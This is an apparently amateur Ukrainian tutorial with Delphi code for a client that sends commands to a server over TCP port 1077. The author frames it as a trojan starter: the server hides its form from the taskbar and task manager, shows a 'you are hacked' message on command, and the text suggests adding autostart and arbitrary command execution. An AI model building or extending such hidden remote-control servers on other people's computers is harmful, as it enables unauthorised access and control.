На цю тему написано чимало статей, тому я не буду вантажити тебе теорією, яку ти і сам в змозі знайти (бо матеріалу предостатньо). Я покажу, як на практиці можна реалізувати просте клієнт-серверний додаток. При бажанні мій приклад можна розвинути у все що завгодно =).
Отже почнемо.

Як ти вже зрозумів, ми будемо писати 2 проги. Одна — сервер, а інша — клієнт. З допомогою клієнта ми будемо посилати команди на сервер. Кодити будемо на моєму улюбленому Delphi.

// Сервер //

Наш сервер повинен запуститися, і чекати з’єднання з клієнтом. Для конспірації ми зробимо його невидимим =) Кидаємо на форму компонент TcpServer (вкладка Internet) і пишемо:

Код сервера:

uses
Windows, Messages, Classes, Controls, Forms, OleCtrls, SHDocVw, Sockets;

var
Form1: TForm1;
i: integer;
U: boolean;

….
procedure TForm1.FormCreate(Sender: TObject);

begin

U:=false; //присваеваем логічної змінної значення false;
application.ShowMainForm:=false; //робимо форму невидимої на панелі завдань і в таскменеджере на вкладці «програми»
TcpServer1.LocalPort := ‘1077’; //вказуємо порт сервера
TcpServer1.Active := True; // активуємо

begin

repeat

sleep(1000);
if TcpServer1.ReceiveLn = ‘h’ then // якщо отримали команду «h», то

MessageBox(0,’YoU aRe HacKeD by [email protected]=_’,’WindoZ Must Die!’,0); // виводимо messagebox з привітанням =)

until U;

end;
end;
end;

Думаю, тут все зрозуміло. Сервер кожну секунду перевіряє, чи прийшла команда від клієнта, якщо прийшла, і це команда «h», то вилітає повідомлення з твоїм текстом. (можна виконати все що завгодно).

Настав час кодити клієнт.

// Клієнт//

Клієнт — це програма, за допомогою якої ти будеш посилати команди на комп, де запущений сервер. В якості основного компонента для нього ми будемо використовувати TCPClient. Кидаємо його на форму. Крім нього нам знадобляться 3 кнопки (Button). Я назвав їх Коннект, Дисконект і Відправити. З допомогою перших двох ми будемо з’єднуватися/від’єднуватися, а з допомогою третьої будемо посилати команди сервера. Також кидай на форму 2 Edit’а (для введення ip сервака і команди), і компонент Memo (у ньому ми будемо відображати поточну дію). Форму оформляй на свій розсуд (тобі ж з нею працювати =)).

Отже, код клієнта:

uses
Windows, Messages, Classes, Controls, Forms, StdCtrls, Sockets;


procedure TForm1.Button1Click(Sender: TObject);

begin

Memo1.lines.add(‘Установка з’єднання…’);
TcpClient1.RemoteHost := Edit1.Text; // ip сервера
TcpClient1.RemotePort := ‘1077’; // порт (такий же як у сервера)
TcpClient1.Active := True; // активуємо
Memo1.lines.add(‘З’єдналися.’);

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

TcpClient1.Disconnect;
Memo1.lines.add(‘Від’єдналися.’);

end;

procedure TForm1.Button3Click(Sender: TObject);

begin

TcpClient1.Sendln(Edit2.Text); // команда
Memo1.lines.add(‘Команда відправлена!’);

end;

Ну ось і все! Знову ж, при бажанні можеш додати свої функції (наприклад прописати сервер в автозапуск), і отримаєш непоганий трой… Все в твоїх руках =)

Якщо будуть питання-пиши на [email protected]